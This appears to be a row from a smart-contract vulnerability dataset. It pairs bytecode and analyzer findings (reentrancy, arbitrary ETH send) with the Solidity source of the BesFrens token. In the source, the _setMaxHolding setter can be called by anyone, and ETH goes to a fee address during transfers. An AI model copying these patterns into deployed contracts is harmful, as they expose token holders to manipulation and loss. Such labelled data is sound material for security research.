00000000000000000000000000000000000000000000000081526004016115e2906130a6565b60405180910390fd5b6000811161162e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611625906131e6565b60405180910390fd5b611636610b3d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a45750611674610b3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7957601360159054906101000a900460ff16156117aa57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a9576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189757611841612274565b8161184b84610999565b611855919061338b565b1115611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d90613106565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119425750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119985750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6557601360149054906101000a900460ff166119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390613266565b60405180910390fd5b6009600a81905550601360159054906101000a900460ff1615611afb57426014541115611afa57601054811115611a2257600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90613126565b60405180910390fd5b602d42611ab3919061338b565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6457600f42611b1d919061338b565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b7030610999565b9050601360169054906101000a900460ff16158015611bdd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf55750601360149054906101000a900460ff165b15611d77576009600a81905550601360159054906101000a900460ff1615611c9c5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290613186565b60405180910390fd5b5b6000811115611d5d57611cf76064611ce9600b54611cdb601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229c90919063ffffffff16565b61231790919063ffffffff16565b811115611d5357611d506064611d42600b54611d34601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229c90919063ffffffff16565b61231790919063ffffffff16565b90505b611d5c81611f7a565b5b60004790506000811115611d7557611d7447611ea0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e205750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2a57600090505b611e3684848484612361565b50505050565b6000838311158290611e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7b9190613084565b60405180910390fd5b5060008385611e93919061346c565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f08573d6000803e3d6000fd5b5050565b6000600754821115611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a906130c6565b60405180910390fd5b6000611f5d61238e565b9050611f72818461231790919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120065781602001602082028036833780820191505090505b5090503081600081518110612044577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120e657600080fd5b505afa1580156120fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211e9190612a7f565b81600181518110612158577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121bf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611340565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122239594939291906132c1565b600060405180830381600087803b15801561223d57600080fd5b505af1158015612251573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228361059c565b61228d9190613412565b61229791906133e1565b905090565b6000808314156122af5760009050612311565b600082846122bd9190613412565b90508284826122cc91906133e1565b1461230c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612303906131a6565b60405180910390fd5b809150505b92915050565b600061235983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b9565b905092915050565b8061236f5761236e61241c565b5b61237a84848461245f565b806123885761238761262a565b5b50505050565b600080600061239b61263e565b915091506123b2818361231790919063ffffffff16565b9250505090565b60008083118290612400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f79190613084565b60405180910390fd5b506000838561240f91906133e1565b9050809150509392505050565b600060095414801561243057506000600a54145b1561243a5761245d565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124718761269d565b9550955095509550955095506124cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125b0816127ad565b6125ba848361286a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261791906132a6565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000670de0b6b3a76400009050612672670de0b6b3a764000060075461231790919063ffffffff16565b82101561269057600754670de0b6b3a7640000935093505050612699565b81819350935050505b9091565b60008060008060008060008060006126ba8a600954600a546128a4565b92509250925060006126ca61238e565b905060008060006126dd8e87878761293a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3c565b905092915050565b600080828461275e919061338b565b9050838110156127a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279a90613146565b60405180910390fd5b8091505092915050565b60006127b761238e565b905060006127ce828461229c90919063ffffffff16565b905061282281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287f8260075461270590919063ffffffff16565b60078190555061289a8160085461274f90919063ffffffff16565b6008819055505050565b6000806000806128d060646128c2888a61229c90919063ffffffff16565b61231790919063ffffffff16565b905060006128fa60646128ec888b61229c90919063ffffffff16565b61231790919063ffffffff16565b9050600061292382612915858c61270590919063ffffffff16565b61270590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612953858961229c90919063ffffffff16565b9050600061296a868961229c90919063ffffffff16565b90506000612981878961229c90919063ffffffff16565b905060006129aa8261299c858761270590919063ffffffff16565b61270590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129d2816139b5565b92915050565b6000815190506129e7816139b5565b92915050565b6000813590506129fc816139cc565b92915050565b600081519050612a11816139cc565b92915050565b600081359050612a26816139e3565b92915050565b600081519050612a3b816139e3565b92915050565b600081359050612a50816139fa565b92915050565b600060208284031215612a6857600080fd5b6000612a76848285016129c3565b91505092915050565b600060208284031215612a9157600080fd5b6000612a9f848285016129d8565b91505092915050565b60008060408385031215612abb57600080fd5b6000612ac9858286016129c3565b9250506020612ada858286016129c3565b9150509250929050565b600080600060608486031215612af957600080fd5b6000612b07868287016129c3565b9350506020612b18868287016129c3565b9250506040612b2986828701612a17565b9150509250925092565b60008060408385031215612b4657600080fd5b6000612b54858286016129c3565b9250506020612b6585828601612a17565b9150509250929050565b600060208284031215612b8157600080fd5b6000612b8f848285016129ed565b91505092915050565b600060208284031215612baa57600080fd5b6000612bb884828501612a02565b91505092915050565b600060208284031215612bd357600080fd5b6000612be184828501612a17565b91505092915050565b600080600060608486031215612bff57600080fd5b6000612c0d86828701612a2c565b9350506020612c1e86828701612a2c565b9250506040612c2f86828701612a2c565b9150509250925092565b600060208284031215612c4b57600080fd5b6000612c5984828501612a41565b91505092915050565b6000612c6e8383612c7a565b60208301905092915050565b612c83816134a0565b82525050565b612c92816134a0565b82525050565b6000612ca382613346565b612cad8185613369565b9350612cb883613336565b8060005b83811015612ce9578151612cd08882612c62565b9750612cdb8361335c565b925050600181019050612cbc565b5085935050505092915050565b612cff816134b2565b82525050565b612d0e816134f5565b82525050565b6000612d1f82613351565b612d29818561337a565b9350612d39818560208601613507565b612d4281613598565b840191505092915050565b6000612d5a60238361337a565b9150612d65826135a9565b604082019050919050565b6000612d7d602a8361337a565b9150612d88826135f8565b604082019050919050565b6000612da060228361337a565b9150612dab82613647565b604082019050919050565b6000612dc360198361337a565b9150612dce82613696565b602082019050919050565b6000612de660228361337a565b9150612df1826136bf565b604082019050919050565b6000612e09601b8361337a565b9150612e148261370e565b602082019050919050565b6000612e2c60158361337a565b9150612e3782613737565b602082019050919050565b6000612e4f60238361337a565b9150612e5a82613760565b604082019050919050565b6000612e7260218361337a565b9150612e7d826137af565b604082019050919050565b6000612e9560208361337a565b9150612ea0826137fe565b602082019050919050565b6000612eb860298361337a565b9150612ec382613827565b604082019050919050565b6000612edb60258361337a565b9150612ee682613876565b604082019050919050565b6000612efe60248361337a565b9150612f09826138c5565b604082019050919050565b6000612f2160178361337a565b9150612f2c82613914565b602082019050919050565b6000612f4460188361337a565b9150612f4f8261393d565b602082019050919050565b6000612f6760258361337a565b9150612f7282613966565b604082019050919050565b612f86816134de565b82525050565b612f95816134e8565b82525050565b6000602082019050612fb06000830184612c89565b92915050565b6000604082019050612fcb6000830185612c89565b612fd86020830184612c89565b9392505050565b6000604082019050612ff46000830185612c89565b6130016020830184612f7d565b9392505050565b600060c08201905061301d6000830189612c89565b61302a6020830188612f7d565b6130376040830187612d05565b6130446060830186612d05565b6130516080830185612c89565b61305e60a0830184612f7d565b979650505050505050565b600060208201905061307e6000830184612cf6565b92915050565b6000602082019050818103600083015261309e8184612d14565b905092915050565b600060208201905081810360008301526130bf81612d4d565b9050919050565b600060208201905081810360008301526130df81612d70565b9050919050565b600060208201905081810360008301526130ff81612d93565b9050919050565b6000602082019050818103600083015261311f81612db6565b9050919050565b6000602082019050818103600083015261313f81612dd9565b9050919050565b6000602082019050818103600083015261315f81612dfc565b9050919050565b6000602082019050818103600083015261317f81612e1f565b9050919050565b6000602082019050818103600083015261319f81612e42565b9050919050565b600060208201905081810360008301526131bf81612e65565b9050919050565b600060208201905081810360008301526131df81612e88565b9050919050565b600060208201905081810360008301526131ff81612eab565b9050919050565b6000602082019050818103600083015261321f81612ece565b9050919050565b6000602082019050818103600083015261323f81612ef1565b9050919050565b6000602082019050818103600083015261325f81612f14565b9050919050565b6000602082019050818103600083015261327f81612f37565b9050919050565b6000602082019050818103600083015261329f81612f5a565b9050919050565b60006020820190506132bb6000830184612f7d565b92915050565b600060a0820190506132d66000830188612f7d565b6132e36020830187612d05565b81810360408301526132f58186612c98565b90506133046060830185612c89565b6133116080830184612f7d565b9695505050505050565b60006020820190506133306000830184612f8c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613396826134de565b91506133a1836134de565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d6576133d561353a565b5b828201905092915050565b60006133ec826134de565b91506133f7836134de565b92508261340757613406613569565b5b828204905092915050565b600061341d826134de565b9150613428836134de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134615761346061353a565b5b828202905092915050565b6000613477826134de565b9150613482836134de565b9250828210156134955761349461353a565b5b828203905092915050565b60006134ab826134be565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613500826134de565b9050919050565b60005b8381101561352557808201518184015260208101905061350a565b83811115613534576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139be816134a0565b81146139c957600080fd5b50565b6139d5816134b2565b81146139e057600080fd5b50565b6139ec816134de565b81146139f757600080fd5b50565b613a03816134e8565b8114613a0e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220efcfbf49538e2494ff54c60e43a2e91525c91be0d56d0b2189239e8afdd3896364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,168 |
0x568b3269eE2db1f79A9024533Cdf678BCB25a053 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BesFrens is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"BesFrens";
string private constant _symbol = unicode"BFF";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 15;
uint256 private _feeRate = 16;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 3;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 15;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 15;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 500000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
} | 0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610399578063c3c8cd80146103b9578063c9567bf9146103ce578063db92dbb6146103e3578063dd62ed3e146103f8578063e8078d941461043e57600080fd5b806370a08231146102d1578063715018a6146102f15780638da5cb5b1461030657806395d89b411461032e578063a9059cbb1461035a578063a985ceef1461037a57600080fd5b8063313ce56711610108578063313ce5671461021e57806345596e2e1461023a578063522644df1461025c5780635932ead11461027c57806368a3a6a51461029c5780636fc3eaec146102bc57600080fd5b806306fdde0314610150578063095ea7b31461019357806318160ddd146101c357806323b872dd146101e957806327f3a72a1461020957600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820190915260088152674265734672656e7360c01b60208201525b60405161018a9190611bc6565b60405180910390f35b34801561019f57600080fd5b506101b36101ae366004611afd565b610453565b604051901515815260200161018a565b3480156101cf57600080fd5b5068056bc75e2d631000005b60405190815260200161018a565b3480156101f557600080fd5b506101b3610204366004611abd565b61046a565b34801561021557600080fd5b506101db6104d3565b34801561022a57600080fd5b506